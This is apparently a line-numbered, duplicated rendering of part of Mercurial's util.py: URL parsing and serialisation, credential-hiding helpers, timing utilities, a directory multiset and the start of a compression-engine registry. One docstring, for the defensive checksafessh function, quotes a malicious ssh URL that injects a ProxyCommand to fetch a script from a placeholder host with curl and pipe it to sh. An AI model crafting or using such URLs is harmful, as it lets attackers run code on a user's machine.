2677 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2680 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2678 >>> url('http://host/a?b#c', parsequery=False, parsefragment=False)
2681 >>> url('http://host/a?b#c', parsequery=False, parsefragment=False)
2679 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2682 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2680
2683
2681 Empty path:
2684 Empty path:
2682
2685
2683 >>> url('')
2686 >>> url('')
2684 <url path: ''>
2687 <url path: ''>
2685 >>> url('#a')
2688 >>> url('#a')
2686 <url path: '', fragment: 'a'>
2689 <url path: '', fragment: 'a'>
2687 >>> url('http://host/')
2690 >>> url('http://host/')
2688 <url scheme: 'http', host: 'host', path: ''>
2691 <url scheme: 'http', host: 'host', path: ''>
2689 >>> url('http://host/#a')
2692 >>> url('http://host/#a')
2690 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2693 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2691
2694
2692 Only scheme:
2695 Only scheme:
2693
2696
2694 >>> url('http:')
2697 >>> url('http:')
2695 <url scheme: 'http'>
2698 <url scheme: 'http'>
2696 """
2699 """
2697
2700
2698 _safechars = "!~*'()+"
2701 _safechars = "!~*'()+"
2699 _safepchars = "/!~*'()+:\\"
2702 _safepchars = "/!~*'()+:\\"
2700 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2703 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2701
2704
2702 def __init__(self, path, parsequery=True, parsefragment=True):
2705 def __init__(self, path, parsequery=True, parsefragment=True):
2703 # We slowly chomp away at path until we have only the path left
2706 # We slowly chomp away at path until we have only the path left
2704 self.scheme = self.user = self.passwd = self.host = None
2707 self.scheme = self.user = self.passwd = self.host = None
2705 self.port = self.path = self.query = self.fragment = None
2708 self.port = self.path = self.query = self.fragment = None
2706 self._localpath = True
2709 self._localpath = True
2707 self._hostport = ''
2710 self._hostport = ''
2708 self._origpath = path
2711 self._origpath = path
2709
2712
2710 if parsefragment and '#' in path:
2713 if parsefragment and '#' in path:
2711 path, self.fragment = path.split('#', 1)
2714 path, self.fragment = path.split('#', 1)
2712
2715
2713 # special case for Windows drive letters and UNC paths
2716 # special case for Windows drive letters and UNC paths
2714 if hasdriveletter(path) or path.startswith('\\\\'):
2717 if hasdriveletter(path) or path.startswith('\\\\'):
2715 self.path = path
2718 self.path = path
2716 return
2719 return
2717
2720
2718 # For compatibility reasons, we can't handle bundle paths as
2721 # For compatibility reasons, we can't handle bundle paths as
2719 # normal URLS
2722 # normal URLS
2720 if path.startswith('bundle:'):
2723 if path.startswith('bundle:'):
2721 self.scheme = 'bundle'
2724 self.scheme = 'bundle'
2722 path = path[7:]
2725 path = path[7:]
2723 if path.startswith('//'):
2726 if path.startswith('//'):
2724 path = path[2:]
2727 path = path[2:]
2725 self.path = path
2728 self.path = path
2726 return
2729 return
2727
2730
2728 if self._matchscheme(path):
2731 if self._matchscheme(path):
2729 parts = path.split(':', 1)
2732 parts = path.split(':', 1)
2730 if parts[0]:
2733 if parts[0]:
2731 self.scheme, path = parts
2734 self.scheme, path = parts
2732 self._localpath = False
2735 self._localpath = False
2733
2736
2734 if not path:
2737 if not path:
2735 path = None
2738 path = None
2736 if self._localpath:
2739 if self._localpath:
2737 self.path = ''
2740 self.path = ''
2738 return
2741 return
2739 else:
2742 else:
2740 if self._localpath:
2743 if self._localpath:
2741 self.path = path
2744 self.path = path
2742 return
2745 return
2743
2746
2744 if parsequery and '?' in path:
2747 if parsequery and '?' in path:
2745 path, self.query = path.split('?', 1)
2748 path, self.query = path.split('?', 1)
2746 if not path:
2749 if not path:
2747 path = None
2750 path = None
2748 if not self.query:
2751 if not self.query:
2749 self.query = None
2752 self.query = None
2750
2753
2751 # // is required to specify a host/authority
2754 # // is required to specify a host/authority
2752 if path and path.startswith('//'):
2755 if path and path.startswith('//'):
2753 parts = path[2:].split('/', 1)
2756 parts = path[2:].split('/', 1)
2754 if len(parts) > 1:
2757 if len(parts) > 1:
2755 self.host, path = parts
2758 self.host, path = parts
2756 else:
2759 else:
2757 self.host = parts[0]
2760 self.host = parts[0]
2758 path = None
2761 path = None
2759 if not self.host:
2762 if not self.host:
2760 self.host = None
2763 self.host = None
2761 # path of file:///d is /d
2764 # path of file:///d is /d
2762 # path of file:///d:/ is d:/, not /d:/
2765 # path of file:///d:/ is d:/, not /d:/
2763 if path and not hasdriveletter(path):
2766 if path and not hasdriveletter(path):
2764 path = '/' + path
2767 path = '/' + path
2765
2768
2766 if self.host and '@' in self.host:
2769 if self.host and '@' in self.host:
2767 self.user, self.host = self.host.rsplit('@', 1)
2770 self.user, self.host = self.host.rsplit('@', 1)
2768 if ':' in self.user:
2771 if ':' in self.user:
2769 self.user, self.passwd = self.user.split(':', 1)
2772 self.user, self.passwd = self.user.split(':', 1)
2770 if not self.host:
2773 if not self.host:
2771 self.host = None
2774 self.host = None
2772
2775
2773 # Don't split on colons in IPv6 addresses without ports
2776 # Don't split on colons in IPv6 addresses without ports
2774 if (self.host and ':' in self.host and
2777 if (self.host and ':' in self.host and
2775 not (self.host.startswith('[') and self.host.endswith(']'))):
2778 not (self.host.startswith('[') and self.host.endswith(']'))):
2776 self._hostport = self.host
2779 self._hostport = self.host
2777 self.host, self.port = self.host.rsplit(':', 1)
2780 self.host, self.port = self.host.rsplit(':', 1)
2778 if not self.host:
2781 if not self.host:
2779 self.host = None
2782 self.host = None
2780
2783
2781 if (self.host and self.scheme == 'file' and
2784 if (self.host and self.scheme == 'file' and
2782 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2785 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2783 raise Abort(_('file:// URLs can only refer to localhost'))
2786 raise Abort(_('file:// URLs can only refer to localhost'))
2784
2787
2785 self.path = path
2788 self.path = path
2786
2789
2787 # leave the query string escaped
2790 # leave the query string escaped
2788 for a in ('user', 'passwd', 'host', 'port',
2791 for a in ('user', 'passwd', 'host', 'port',
2789 'path', 'fragment'):
2792 'path', 'fragment'):
2790 v = getattr(self, a)
2793 v = getattr(self, a)
2791 if v is not None:
2794 if v is not None:
2792 setattr(self, a, urlreq.unquote(v))
2795 setattr(self, a, urlreq.unquote(v))
2793
2796
2794 def __repr__(self):
2797 def __repr__(self):
2795 attrs = []
2798 attrs = []
2796 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2799 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2797 'query', 'fragment'):
2800 'query', 'fragment'):
2798 v = getattr(self, a)
2801 v = getattr(self, a)
2799 if v is not None:
2802 if v is not None:
2800 attrs.append('%s: %r' % (a, v))
2803 attrs.append('%s: %r' % (a, v))
2801 return '<url %s>' % ', '.join(attrs)
2804 return '<url %s>' % ', '.join(attrs)
2802
2805
2803 def __bytes__(self):
2806 def __bytes__(self):
2804 r"""Join the URL's components back into a URL string.
2807 r"""Join the URL's components back into a URL string.
2805
2808
2806 Examples:
2809 Examples:
2807
2810
2808 >>> str(url('http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2811 >>> str(url('http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2809 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2812 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2810 >>> str(url('http://user:pw@host:80/?foo=bar&baz=42'))
2813 >>> str(url('http://user:pw@host:80/?foo=bar&baz=42'))
2811 'http://user:pw@host:80/?foo=bar&baz=42'
2814 'http://user:pw@host:80/?foo=bar&baz=42'
2812 >>> str(url('http://user:pw@host:80/?foo=bar%3dbaz'))
2815 >>> str(url('http://user:pw@host:80/?foo=bar%3dbaz'))
2813 'http://user:pw@host:80/?foo=bar%3dbaz'
2816 'http://user:pw@host:80/?foo=bar%3dbaz'
2814 >>> str(url('ssh://user:pw@[::1]:2200//home/joe#'))
2817 >>> str(url('ssh://user:pw@[::1]:2200//home/joe#'))
2815 'ssh://user:pw@[::1]:2200//home/joe#'
2818 'ssh://user:pw@[::1]:2200//home/joe#'
2816 >>> str(url('http://localhost:80//'))
2819 >>> str(url('http://localhost:80//'))
2817 'http://localhost:80//'
2820 'http://localhost:80//'
2818 >>> str(url('http://localhost:80/'))
2821 >>> str(url('http://localhost:80/'))
2819 'http://localhost:80/'
2822 'http://localhost:80/'
2820 >>> str(url('http://localhost:80'))
2823 >>> str(url('http://localhost:80'))
2821 'http://localhost:80/'
2824 'http://localhost:80/'
2822 >>> str(url('bundle:foo'))
2825 >>> str(url('bundle:foo'))
2823 'bundle:foo'
2826 'bundle:foo'
2824 >>> str(url('bundle://../foo'))
2827 >>> str(url('bundle://../foo'))
2825 'bundle:../foo'
2828 'bundle:../foo'
2826 >>> str(url('path'))
2829 >>> str(url('path'))
2827 'path'
2830 'path'
2828 >>> str(url('file:///tmp/foo/bar'))
2831 >>> str(url('file:///tmp/foo/bar'))
2829 'file:///tmp/foo/bar'
2832 'file:///tmp/foo/bar'
2830 >>> str(url('file:///c:/tmp/foo/bar'))
2833 >>> str(url('file:///c:/tmp/foo/bar'))
2831 'file:///c:/tmp/foo/bar'
2834 'file:///c:/tmp/foo/bar'
2832 >>> print url(r'bundle:foo\bar')
2835 >>> print url(r'bundle:foo\bar')
2833 bundle:foo\bar
2836 bundle:foo\bar
2834 >>> print url(r'file:///D:\data\hg')
2837 >>> print url(r'file:///D:\data\hg')
2835 file:///D:\data\hg
2838 file:///D:\data\hg
2836 """
2839 """
2837 if self._localpath:
2840 if self._localpath:
2838 s = self.path
2841 s = self.path
2839 if self.scheme == 'bundle':
2842 if self.scheme == 'bundle':
2840 s = 'bundle:' + s
2843 s = 'bundle:' + s
2841 if self.fragment:
2844 if self.fragment:
2842 s += '#' + self.fragment
2845 s += '#' + self.fragment
2843 return s
2846 return s
2844
2847
2845 s = self.scheme + ':'
2848 s = self.scheme + ':'
2846 if self.user or self.passwd or self.host:
2849 if self.user or self.passwd or self.host:
2847 s += '//'
2850 s += '//'
2848 elif self.scheme and (not self.path or self.path.startswith('/')
2851 elif self.scheme and (not self.path or self.path.startswith('/')
2849 or hasdriveletter(self.path)):
2852 or hasdriveletter(self.path)):
2850 s += '//'
2853 s += '//'
2851 if hasdriveletter(self.path):
2854 if hasdriveletter(self.path):
2852 s += '/'
2855 s += '/'
2853 if self.user:
2856 if self.user:
2854 s += urlreq.quote(self.user, safe=self._safechars)
2857 s += urlreq.quote(self.user, safe=self._safechars)
2855 if self.passwd:
2858 if self.passwd:
2856 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2859 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2857 if self.user or self.passwd:
2860 if self.user or self.passwd:
2858 s += '@'
2861 s += '@'
2859 if self.host:
2862 if self.host:
2860 if not (self.host.startswith('[') and self.host.endswith(']')):
2863 if not (self.host.startswith('[') and self.host.endswith(']')):
2861 s += urlreq.quote(self.host)
2864 s += urlreq.quote(self.host)
2862 else:
2865 else:
2863 s += self.host
2866 s += self.host
2864 if self.port:
2867 if self.port:
2865 s += ':' + urlreq.quote(self.port)
2868 s += ':' + urlreq.quote(self.port)
2866 if self.host:
2869 if self.host:
2867 s += '/'
2870 s += '/'
2868 if self.path:
2871 if self.path:
2869 # TODO: similar to the query string, we should not unescape the
2872 # TODO: similar to the query string, we should not unescape the
2870 # path when we store it, the path might contain '%2f' = '/',
2873 # path when we store it, the path might contain '%2f' = '/',
2871 # which we should *not* escape.
2874 # which we should *not* escape.
2872 s += urlreq.quote(self.path, safe=self._safepchars)
2875 s += urlreq.quote(self.path, safe=self._safepchars)
2873 if self.query:
2876 if self.query:
2874 # we store the query in escaped form.
2877 # we store the query in escaped form.
2875 s += '?' + self.query
2878 s += '?' + self.query
2876 if self.fragment is not None:
2879 if self.fragment is not None:
2877 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2880 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2878 return s
2881 return s
2879
2882
2880 __str__ = encoding.strmethod(__bytes__)
2883 __str__ = encoding.strmethod(__bytes__)
2881
2884
2882 def authinfo(self):
2885 def authinfo(self):
2883 user, passwd = self.user, self.passwd
2886 user, passwd = self.user, self.passwd
2884 try:
2887 try:
2885 self.user, self.passwd = None, None
2888 self.user, self.passwd = None, None
2886 s = bytes(self)
2889 s = bytes(self)
2887 finally:
2890 finally:
2888 self.user, self.passwd = user, passwd
2891 self.user, self.passwd = user, passwd
2889 if not self.user:
2892 if not self.user:
2890 return (s, None)
2893 return (s, None)
2891 # authinfo[1] is passed to urllib2 password manager, and its
2894 # authinfo[1] is passed to urllib2 password manager, and its
2892 # URIs must not contain credentials. The host is passed in the
2895 # URIs must not contain credentials. The host is passed in the
2893 # URIs list because Python < 2.4.3 uses only that to search for
2896 # URIs list because Python < 2.4.3 uses only that to search for
2894 # a password.
2897 # a password.
2895 return (s, (None, (s, self.host),
2898 return (s, (None, (s, self.host),
2896 self.user, self.passwd or ''))
2899 self.user, self.passwd or ''))
2897
2900
2898 def isabs(self):
2901 def isabs(self):
2899 if self.scheme and self.scheme != 'file':
2902 if self.scheme and self.scheme != 'file':
2900 return True # remote URL
2903 return True # remote URL
2901 if hasdriveletter(self.path):
2904 if hasdriveletter(self.path):
2902 return True # absolute for our purposes - can't be joined()
2905 return True # absolute for our purposes - can't be joined()
2903 if self.path.startswith(br'\\'):
2906 if self.path.startswith(br'\\'):
2904 return True # Windows UNC path
2907 return True # Windows UNC path
2905 if self.path.startswith('/'):
2908 if self.path.startswith('/'):
2906 return True # POSIX-style
2909 return True # POSIX-style
2907 return False
2910 return False
2908
2911
2909 def localpath(self):
2912 def localpath(self):
2910 if self.scheme == 'file' or self.scheme == 'bundle':
2913 if self.scheme == 'file' or self.scheme == 'bundle':
2911 path = self.path or '/'
2914 path = self.path or '/'
2912 # For Windows, we need to promote hosts containing drive
2915 # For Windows, we need to promote hosts containing drive
2913 # letters to paths with drive letters.
2916 # letters to paths with drive letters.
2914 if hasdriveletter(self._hostport):
2917 if hasdriveletter(self._hostport):
2915 path = self._hostport + '/' + self.path
2918 path = self._hostport + '/' + self.path
2916 elif (self.host is not None and self.path
2919 elif (self.host is not None and self.path
2917 and not hasdriveletter(path)):
2920 and not hasdriveletter(path)):
2918 path = '/' + path
2921 path = '/' + path
2919 return path
2922 return path
2920 return self._origpath
2923 return self._origpath
2921
2924
2922 def islocal(self):
2925 def islocal(self):
2923 '''whether localpath will return something that posixfile can open'''
2926 '''whether localpath will return something that posixfile can open'''
2924 return (not self.scheme or self.scheme == 'file'
2927 return (not self.scheme or self.scheme == 'file'
2925 or self.scheme == 'bundle')
2928 or self.scheme == 'bundle')
2926
2929
2927 def hasscheme(path):
2930 def hasscheme(path):
2928 return bool(url(path).scheme)
2931 return bool(url(path).scheme)
2929
2932
2930 def hasdriveletter(path):
2933 def hasdriveletter(path):
2931 return path and path[1:2] == ':' and path[0:1].isalpha()
2934 return path and path[1:2] == ':' and path[0:1].isalpha()
2932
2935
2933 def urllocalpath(path):
2936 def urllocalpath(path):
2934 return url(path, parsequery=False, parsefragment=False).localpath()
2937 return url(path, parsequery=False, parsefragment=False).localpath()
2935
2938
2936 def checksafessh(path):
2939 def checksafessh(path):
2937 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2940 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2938
2941
2939 This is a sanity check for ssh urls. ssh will parse the first item as
2942 This is a sanity check for ssh urls. ssh will parse the first item as
2940 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2943 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2941 Let's prevent these potentially exploited urls entirely and warn the
2944 Let's prevent these potentially exploited urls entirely and warn the
2942 user.
2945 user.
2943
2946
2944 Raises an error.Abort when the url is unsafe.
2947 Raises an error.Abort when the url is unsafe.
2945 """
2948 """
2946 path = urlreq.unquote(path)
2949 path = urlreq.unquote(path)
2947 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
2950 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
2948 raise error.Abort(_('potentially unsafe url: %r') %
2951 raise error.Abort(_('potentially unsafe url: %r') %
2949 (path,))
2952 (path,))
2950
2953
2951 def hidepassword(u):
2954 def hidepassword(u):
2952 '''hide user credential in a url string'''
2955 '''hide user credential in a url string'''
2953 u = url(u)
2956 u = url(u)
2954 if u.passwd:
2957 if u.passwd:
2955 u.passwd = '***'
2958 u.passwd = '***'
2956 return bytes(u)
2959 return bytes(u)
2957
2960
2958 def removeauth(u):
2961 def removeauth(u):
2959 '''remove all authentication information from a url string'''
2962 '''remove all authentication information from a url string'''
2960 u = url(u)
2963 u = url(u)
2961 u.user = u.passwd = None
2964 u.user = u.passwd = None
2962 return str(u)
2965 return str(u)
2963
2966
2964 timecount = unitcountfn(
2967 timecount = unitcountfn(
2965 (1, 1e3, _('%.0f s')),
2968 (1, 1e3, _('%.0f s')),
2966 (100, 1, _('%.1f s')),
2969 (100, 1, _('%.1f s')),
2967 (10, 1, _('%.2f s')),
2970 (10, 1, _('%.2f s')),
2968 (1, 1, _('%.3f s')),
2971 (1, 1, _('%.3f s')),
2969 (100, 0.001, _('%.1f ms')),
2972 (100, 0.001, _('%.1f ms')),
2970 (10, 0.001, _('%.2f ms')),
2973 (10, 0.001, _('%.2f ms')),
2971 (1, 0.001, _('%.3f ms')),
2974 (1, 0.001, _('%.3f ms')),
2972 (100, 0.000001, _('%.1f us')),
2975 (100, 0.000001, _('%.1f us')),
2973 (10, 0.000001, _('%.2f us')),
2976 (10, 0.000001, _('%.2f us')),
2974 (1, 0.000001, _('%.3f us')),
2977 (1, 0.000001, _('%.3f us')),
2975 (100, 0.000000001, _('%.1f ns')),
2978 (100, 0.000000001, _('%.1f ns')),
2976 (10, 0.000000001, _('%.2f ns')),
2979 (10, 0.000000001, _('%.2f ns')),
2977 (1, 0.000000001, _('%.3f ns')),
2980 (1, 0.000000001, _('%.3f ns')),
2978 )
2981 )
2979
2982
2980 _timenesting = [0]
2983 _timenesting = [0]
2981
2984
2982 def timed(func):
2985 def timed(func):
2983 '''Report the execution time of a function call to stderr.
2986 '''Report the execution time of a function call to stderr.
2984
2987
2985 During development, use as a decorator when you need to measure
2988 During development, use as a decorator when you need to measure
2986 the cost of a function, e.g. as follows:
2989 the cost of a function, e.g. as follows:
2987
2990
2988 @util.timed
2991 @util.timed
2989 def foo(a, b, c):
2992 def foo(a, b, c):
2990 pass
2993 pass
2991 '''
2994 '''
2992
2995
2993 def wrapper(*args, **kwargs):
2996 def wrapper(*args, **kwargs):
2994 start = timer()
2997 start = timer()
2995 indent = 2
2998 indent = 2
2996 _timenesting[0] += indent
2999 _timenesting[0] += indent
2997 try:
3000 try:
2998 return func(*args, **kwargs)
3001 return func(*args, **kwargs)
2999 finally:
3002 finally:
3000 elapsed = timer() - start
3003 elapsed = timer() - start
3001 _timenesting[0] -= indent
3004 _timenesting[0] -= indent
3002 stderr.write('%s%s: %s\n' %
3005 stderr.write('%s%s: %s\n' %
3003 (' ' * _timenesting[0], func.__name__,
3006 (' ' * _timenesting[0], func.__name__,
3004 timecount(elapsed)))
3007 timecount(elapsed)))
3005 return wrapper
3008 return wrapper
3006
3009
3007 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
3010 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
3008 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
3011 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
3009
3012
3010 def sizetoint(s):
3013 def sizetoint(s):
3011 '''Convert a space specifier to a byte count.
3014 '''Convert a space specifier to a byte count.
3012
3015
3013 >>> sizetoint('30')
3016 >>> sizetoint('30')
3014 30
3017 30
3015 >>> sizetoint('2.2kb')
3018 >>> sizetoint('2.2kb')
3016 2252
3019 2252
3017 >>> sizetoint('6M')
3020 >>> sizetoint('6M')
3018 6291456
3021 6291456
3019 '''
3022 '''
3020 t = s.strip().lower()
3023 t = s.strip().lower()
3021 try:
3024 try:
3022 for k, u in _sizeunits:
3025 for k, u in _sizeunits:
3023 if t.endswith(k):
3026 if t.endswith(k):
3024 return int(float(t[:-len(k)]) * u)
3027 return int(float(t[:-len(k)]) * u)
3025 return int(t)
3028 return int(t)
3026 except ValueError:
3029 except ValueError:
3027 raise error.ParseError(_("couldn't parse size: %s") % s)
3030 raise error.ParseError(_("couldn't parse size: %s") % s)
3028
3031
3029 class hooks(object):
3032 class hooks(object):
3030 '''A collection of hook functions that can be used to extend a
3033 '''A collection of hook functions that can be used to extend a
3031 function's behavior. Hooks are called in lexicographic order,
3034 function's behavior. Hooks are called in lexicographic order,
3032 based on the names of their sources.'''
3035 based on the names of their sources.'''
3033
3036
3034 def __init__(self):
3037 def __init__(self):
3035 self._hooks = []
3038 self._hooks = []
3036
3039
3037 def add(self, source, hook):
3040 def add(self, source, hook):
3038 self._hooks.append((source, hook))
3041 self._hooks.append((source, hook))
3039
3042
3040 def __call__(self, *args):
3043 def __call__(self, *args):
3041 self._hooks.sort(key=lambda x: x[0])
3044 self._hooks.sort(key=lambda x: x[0])
3042 results = []
3045 results = []
3043 for source, hook in self._hooks:
3046 for source, hook in self._hooks:
3044 results.append(hook(*args))
3047 results.append(hook(*args))
3045 return results
3048 return results
3046
3049
3047 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%s', depth=0):
3050 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%s', depth=0):
3048 '''Yields lines for a nicely formatted stacktrace.
3051 '''Yields lines for a nicely formatted stacktrace.
3049 Skips the 'skip' last entries, then return the last 'depth' entries.
3052 Skips the 'skip' last entries, then return the last 'depth' entries.
3050 Each file+linenumber is formatted according to fileline.
3053 Each file+linenumber is formatted according to fileline.
3051 Each line is formatted according to line.
3054 Each line is formatted according to line.
3052 If line is None, it yields:
3055 If line is None, it yields:
3053 length of longest filepath+line number,
3056 length of longest filepath+line number,
3054 filepath+linenumber,
3057 filepath+linenumber,
3055 function
3058 function
3056
3059
3057 Not be used in production code but very convenient while developing.
3060 Not be used in production code but very convenient while developing.
3058 '''
3061 '''
3059 entries = [(fileline % (fn, ln), func)
3062 entries = [(fileline % (fn, ln), func)
3060 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
3063 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
3061 ][-depth:]
3064 ][-depth:]
3062 if entries:
3065 if entries:
3063 fnmax = max(len(entry[0]) for entry in entries)
3066 fnmax = max(len(entry[0]) for entry in entries)
3064 for fnln, func in entries:
3067 for fnln, func in entries:
3065 if line is None:
3068 if line is None:
3066 yield (fnmax, fnln, func)
3069 yield (fnmax, fnln, func)
3067 else:
3070 else:
3068 yield line % (fnmax, fnln, func)
3071 yield line % (fnmax, fnln, func)
3069
3072
3070 def debugstacktrace(msg='stacktrace', skip=0,
3073 def debugstacktrace(msg='stacktrace', skip=0,
3071 f=stderr, otherf=stdout, depth=0):
3074 f=stderr, otherf=stdout, depth=0):
3072 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3075 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3073 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3076 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3074 By default it will flush stdout first.
3077 By default it will flush stdout first.
3075 It can be used everywhere and intentionally does not require an ui object.
3078 It can be used everywhere and intentionally does not require an ui object.
3076 Not be used in production code but very convenient while developing.
3079 Not be used in production code but very convenient while developing.
3077 '''
3080 '''
3078 if otherf:
3081 if otherf:
3079 otherf.flush()
3082 otherf.flush()
3080 f.write('%s at:\n' % msg.rstrip())
3083 f.write('%s at:\n' % msg.rstrip())
3081 for line in getstackframes(skip + 1, depth=depth):
3084 for line in getstackframes(skip + 1, depth=depth):
3082 f.write(line)
3085 f.write(line)
3083 f.flush()
3086 f.flush()
3084
3087
3085 class dirs(object):
3088 class dirs(object):
3086 '''a multiset of directory names from a dirstate or manifest'''
3089 '''a multiset of directory names from a dirstate or manifest'''
3087
3090
3088 def __init__(self, map, skip=None):
3091 def __init__(self, map, skip=None):
3089 self._dirs = {}
3092 self._dirs = {}
3090 addpath = self.addpath
3093 addpath = self.addpath
3091 if safehasattr(map, 'iteritems') and skip is not None:
3094 if safehasattr(map, 'iteritems') and skip is not None:
3092 for f, s in map.iteritems():
3095 for f, s in map.iteritems():
3093 if s[0] != skip:
3096 if s[0] != skip:
3094 addpath(f)
3097 addpath(f)
3095 else:
3098 else:
3096 for f in map:
3099 for f in map:
3097 addpath(f)
3100 addpath(f)
3098
3101
3099 def addpath(self, path):
3102 def addpath(self, path):
3100 dirs = self._dirs
3103 dirs = self._dirs
3101 for base in finddirs(path):
3104 for base in finddirs(path):
3102 if base in dirs:
3105 if base in dirs:
3103 dirs[base] += 1
3106 dirs[base] += 1
3104 return
3107 return
3105 dirs[base] = 1
3108 dirs[base] = 1
3106
3109
3107 def delpath(self, path):
3110 def delpath(self, path):
3108 dirs = self._dirs
3111 dirs = self._dirs
3109 for base in finddirs(path):
3112 for base in finddirs(path):
3110 if dirs[base] > 1:
3113 if dirs[base] > 1:
3111 dirs[base] -= 1
3114 dirs[base] -= 1
3112 return
3115 return
3113 del dirs[base]
3116 del dirs[base]
3114
3117
3115 def __iter__(self):
3118 def __iter__(self):
3116 return iter(self._dirs)
3119 return iter(self._dirs)
3117
3120
3118 def __contains__(self, d):
3121 def __contains__(self, d):
3119 return d in self._dirs
3122 return d in self._dirs
3120
3123
3121 if safehasattr(parsers, 'dirs'):
3124 if safehasattr(parsers, 'dirs'):
3122 dirs = parsers.dirs
3125 dirs = parsers.dirs
3123
3126
3124 def finddirs(path):
3127 def finddirs(path):
3125 pos = path.rfind('/')
3128 pos = path.rfind('/')
3126 while pos != -1:
3129 while pos != -1:
3127 yield path[:pos]
3130 yield path[:pos]
3128 pos = path.rfind('/', 0, pos)
3131 pos = path.rfind('/', 0, pos)
3129
3132
3130 # compression code
3133 # compression code
3131
3134
3132 SERVERROLE = 'server'
3135 SERVERROLE = 'server'
3133 CLIENTROLE = 'client'
3136 CLIENTROLE = 'client'
3134
3137
3135 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3138 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3136 (u'name', u'serverpriority',
3139 (u'name', u'serverpriority',
3137 u'clientpriority'))
3140 u'clientpriority'))
3138
3141
3139 class compressormanager(object):
3142 class compressormanager(object):
3140 """Holds registrations of various compression engines.
3143 """Holds registrations of various compression engines.
3141
3144
3142 This class essentially abstracts the differences between compression
3145 This class essentially abstracts the differences between compression
3143 engines to allow new compression formats to be added easily, possibly from
3146 engines to allow new compression formats to be added easily, possibly from
3144 extensions.
3147 extensions.
3145
3148
3146 Compressors are registered against the global instance by calling its
3149 Compressors are registered against the global instance by calling its
3147 ``register()`` method.
3150 ``register()`` method.
3148 """
3151 """
3149 def __init__(self):
3152 def __init__(self):
3150 self._engines = {}
3153 self._engines = {}
3151 # Bundle spec human name to engine name.
3154 # Bundle spec human name to engine name.
3152 self._bundlenames = {}
3155 self._bundlenames = {}
3153 # Internal bundle identifier to engine name.
3156 # Internal bundle identifier to engine name.
3154 self._bundletypes = {}
3157 self._bundletypes = {}
3155 # Revlog header to engine name.
3158 # Revlog header to engine name.
3156 self._revlogheaders = {}
3159 self._revlogheaders = {}
3157 # Wire proto identifier to engine name.
3160 # Wire proto identifier to engine name.
3158 self._wiretypes = {}
3161 self._wiretypes = {}
3159
3162
3160 def __getitem__(self, key):
3163 def __getitem__(self, key):
3161 return self._engines[key]
3164 return self._engines[key]
3162
3165
3163 def __contains__(self, key):
3166 def __contains__(self, key):
3164 return key in self._engines
3167 return key in self._engines
3165
3168
3166 def __iter__(self):
3169 def __iter__(self):
3167 return iter(self._engines.keys())
3170 return iter(self._engines.keys())
3168
3171
3169 def register(self, engine):
3172 def register(self, engine):
3170 """Register a compression engine with the manager.
3173 """Register a compression engine with the manager.
3171
3174
3172 The argument must be a ``compressionengine`` instance.
3175 The argument must be a ``compressionengine`` instance.
3173 """
3176 """
3174 if not isinstance(engine, compressionengine):
3177 if not isinstance(engine, compressionengine):
3175 raise ValueError(_('argument must be a compressionengine'))
3178 raise ValueError(_('argument must be a compressionengine'))
3176
3179
3177 name = engine.name()
3180 name = engine.name()
3178
3181
3179 if name in self._engines:
3182 if name in self._engines:
3180 raise error.Abort(_('compression engine %s already registered') %
3183 raise error.Abort(_('compression engine %s already registered') %
3181 name)
3184 name)
3182
3185
3183 bundleinfo = engine.bundletype()
3186 bundleinfo = engine.bundletype()
3184 if bundleinfo:
3187 if bundleinfo:
3185 bundlename, bundletype = bundleinfo
3188 bundlename, bundletype = bundleinfo
3186
3189
3187 if bundlename in self._bundlenames:
3190 if bundlename in self._bundlenames:
3188 raise error.Abort(_('bundle name %s already registered') %
3191 raise error.Abort(_('bundle name %s already registered') %
3189 bundlename)
3192 bundlename)
3190 if bundletype in self._bundletypes:
3193 if bundletype in self._bundletypes:
3191 raise error.Abort(_('bundle type %s already registered by %s') %
3194 raise error.Abort(_('bundle type %s already registered by %s') %
3192 (bundletype, self._bundletypes[bundletype]))
3195 (bundletype, self._bundletypes[bundletype]))
3193
3196
3194 # No external facing name declared.
3197 # No external facing name declared.
3195 if bundlename:
3198 if bundlename:
3196 self._bundlenames[bundlename] = name
3199 self._bundlenames[bundlename] = name
3197
3200
3198 self._bundletypes[bundletype] = name
3201 self._bundletypes[bundletype] = name
3199
3202
3200 wiresupport = engine.wireprotosupport()
3203 wiresupport = engine.wireprotosupport()
